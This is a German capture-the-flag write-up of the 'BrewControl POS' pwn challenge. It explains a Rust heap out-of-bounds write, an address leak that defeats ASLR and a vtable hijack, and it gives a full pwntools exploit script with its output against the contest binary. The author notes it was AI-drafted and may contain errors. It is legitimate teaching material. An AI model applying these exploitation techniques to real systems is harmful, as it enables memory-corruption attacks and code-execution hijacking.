Deutschlands Bester Hacker - BrewControl POS (Pwn) - Das Writeup

Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.

Wettbewerb Deutschlands Bester Hacker 2026 — Qualifikation
Kategorie PwnBinary ExploitationAusnutzung von Speicher- oder Logikfehlern in kompilierten Anwendungen.
Punkte 454
Binary ELF64 · Rust · PIE · stripped, TLSTransport Layer SecuritySchützt Netzwerkverbindungen durch Verschlüsselung, Authentifizierung und Integritätsprüfung.-Endpunkt
Angriffsklasse Heap-OOB-Write → vtable hijack
Flag CTF{vtable_XXX}

Die Challenge

„Der BrewControl-3000-Kiosk hat ein Manager-Override, das den Master-Token der Kasse auszahlt — kein Button, kein Menüeintrag, keine Erwähnung auf irgendeinem Beleg. Bestell einen Kaffee, hinterlasse eine Notiz, lass auszahlen, und achte darauf, wie er antwortet.“

Kurzfassung der Lösung: Die „gift note“ wird ungeprüft in die 56-Byte-Register-Struktur kopiert und überschreibt deren vtable-Pointer. pay & prepare ruft blind durch diese vtable. Mit preview receipt leakt man Heap- und PIE-Adressen, biegt den vtable-Pointer auf die Struktur selbst und lässt [vtable+0x18] auf ein Gadget zeigen, das das versteckte Override-Flag setzt. Beim Schließen zahlt die Reconciliation den Master-Token aus.

Aufklärung

Das Binary ist ein statisch gelinkter, gestrippter Rust-PIE-Build mit PIE + ASLRAddress Space Layout RandomizationSchutzmechanismus, der Speicheradressen zufällig anordnet und Exploits dadurch erschwert. und ohne RWX. Der Service begrüßt uns mit einem simplen Kiosk-Menü:

=== BrewControl POS — self-service kiosk ===
  1 <0|1|2>   order a drink (0=espresso 1=latte 2=americano)
  2 <hex>     attach gift note
  3 <len>     preview receipt (note bytes, hex)
  4           pay & prepare
  0           close terminal
kiosk>

Interessant sind die Strings, die im Menü fehlen. Im .rodata stecken:

REGISTER_KEY
[reconciliation] manager override on file
[reconciliation] register master token:      # <── das wollen wir

Eine reconcile()-Funktion druckt diesen Master-Token — auf dem Server der Wert der Umgebungsvariable REGISTER_KEY, also die Flag. Sie läuft beim Schließen des Terminals (und im Panic-Unwind), aber nur, wenn zuvor ein internes Override-Byte gesetzt wurde. Kein Menüpunkt setzt es. Das ist das Ziel.

Die Schwachstelle

In main wird ein Zustandsobjekt S auf dem Heap angelegt (0x38 Bytes). Es ist ein Rust-Trait-Objekt: ein Daten- und ein vtable-Pointer, plus etwas Buchhaltung.

struct S  —  heap, 0x38 bytes  (nach „1 0")
  +0x00   note / scratch          0x00 … (genullt)
  +0x20   &S  (Zeiger auf sich)    ← Heap-Leak
  +0x28   data-ptr → rdi bei pay   0x1
  +0x30   vtable-ptr → rax bei pay base+0x567e8  ← PIE-Leak

Drei Kommandos fassen diese Struktur an — und genau ihr Zusammenspiel ist der Bug:

  • 2 <hex> — dekodiert die Note und memcpyt sie nach S+0. Erlaubt sind bis zu 64 Bytes, aber S ist nur 56 groß: eine ≥ 0x38 Byte lange Note überschreibt data- und vtable-Pointer.
  • 3 <len> — kopiert len Bytes aus S+0 und gibt sie als Hex aus. Keine Begrenzung auf die Note-Länge → liest die Struktur-Felder aus (Out-of-bounds-Read = Infoleak).
  • 4 — pay & prepare macht rax = S[0x30]; rdi = S[0x28]; call [rax+0x18] — ein voll kontrollierter indirekter Aufruf.

Der Angriff

Leak. Vor dem Zerstören von S lesen wir es aus. preview receipt mit Länge 56 dumpt die gesamte Struktur:

kiosk> 3 56
RECEIPT 0000000000000000 0000000000000000 0000000000000000
        60fd3640 09560000    # +0x20  &S      = 0x56094036fd60
        0100000000000000
        e857fd33 09560000    # +0x30  vtable  = 0x560933fd57e8

Die vtable des Default-Drinks (espresso) liegt bei base + 0x567e8, also:

PIE_base        = 0x560933fd57e8 − 0x567e8 = 0x560933f7f000
override_setter = PIE_base + 0x15960        = 0x560933f94960
&S              = 0x56094036fd60

Hijack. Der Trick: den vtable-Pointer S[0x30] auf &S selbst setzen. Dann liest pay die aufzurufende Funktion aus [&S + 0x18] — also aus Bytes, die wir in der Note kontrollieren. Dort legen wir override_setter ab.

Es gibt einen zweiten call beim Schließen: die Reconciliation ruft den Destruktor über [vtable+0x00] und dealloziert über [vtable+0x08]. Damit das nicht crasht, setzen wir drop = NULL und size = 0 — beide Aufrufe werden dann übersprungen:

gift note = neuer Inhalt von S  (fake vtable == S selbst)
  +0x00   drop_in_place            = 0           → Drop übersprungen
  +0x08   vtable.size              = 0           → dealloc übersprungen
  +0x10   vtable.align             = 0
  +0x18   [vtable+0x18]            = base+0x15960 → override_setter
  +0x20   —                        = 0
  +0x28   S.data → rdi             = 0
  +0x30   S.vtable                 = &S          → fake vtable

Ablauf der beiden indirekten Aufrufe:

▸ pay:   rax = S[0x30] = &S  →  call [&S + 0x18] = override_setter()  →  Flag gesetzt, sauberer return
▸ close: drop = 0 & size = 0 → kein Crash  →  reconcile() druckt den master token

Warum override_setter und nicht direkt in reconcile springen? Das Gadget ist self-contained (mov al,1; xchg [flag],al; ret) — es setzt das Flag und kehrt sauber zurück. Danach läuft der Kiosk normal weiter, wir schließen das Terminal, und die reguläre Reconciliation zahlt aus. Kein Stack-Smashing, kein Segfault.

Der ganze ExploitExploitCode oder Technik, die eine Schwachstelle gezielt ausnutzt.:

io = remote(host, port, ssl=True)            # wie: ncat --ssl

io.sendline(b"1 0")                          # espresso → bekannte vtable
raw    = preview(io, 0x38)                   # 3 56 → leak
addr_S = u64(raw[0x20:0x28])
base   = u64(raw[0x30:0x38]) - 0x567e8

note = flat({
    0x00: p64(0),                            # drop = NULL
    0x08: p64(0),                            # size = 0
    0x18: p64(base + 0x15960),               # [vtable+0x18] = override_setter
    0x28: p64(0),                            # rdi
    0x30: p64(addr_S),                       # vtable = &S
}, length=0x38)

io.sendline(b"2 " + enhex(note).encode())    # attach gift note
io.sendline(b"4")                            # pay → hijack → flag gesetzt
io.sendline(b"0")                            # close → reconcile zahlt aus
print(io.recvall())

Output:

[+] &S        = 0x000056094036fd60
[+] vtable    = 0x0000560933fd57e8
[+] PIE base  = 0x0000560933f7f000
[*] close output:
    closing terminal
    [reconciliation] manager override on file
    [reconciliation] register master token: CTF{vtable_XXX}

Die Flag

CTF{vtable_XXX}

Was ich mitnehme

  • Rust ist an unsafe-Grenzen nicht speichersicher. Ein memcpy mit falscher Längenprüfung (64 erlaubt, Puffer 56) reicht, um ein Trait-Objekt zu korrumpieren.
  • Ein Trait-Objekt ist ein Funktionszeiger-Tisch. Wer den vtable-Pointer kontrolliert, kontrolliert den nächsten call — hier sogar mit kontrolliertem rdi.
  • Der Leak steckte im Feature. „preview receipt“ war als harmlose Debug-Ausgabe getarnt, gab aber Heap- und PIE-Adressen preis — beides nötig, um PIE zu besiegen.
  • Sauber gewinnen. Statt in eine Funktion zu springen und den Stack zu verbiegen: ein self-contained Gadget nutzen und das Programm normal auslaufen lassen. Die eingebaute Reconciliation erledigt den Rest.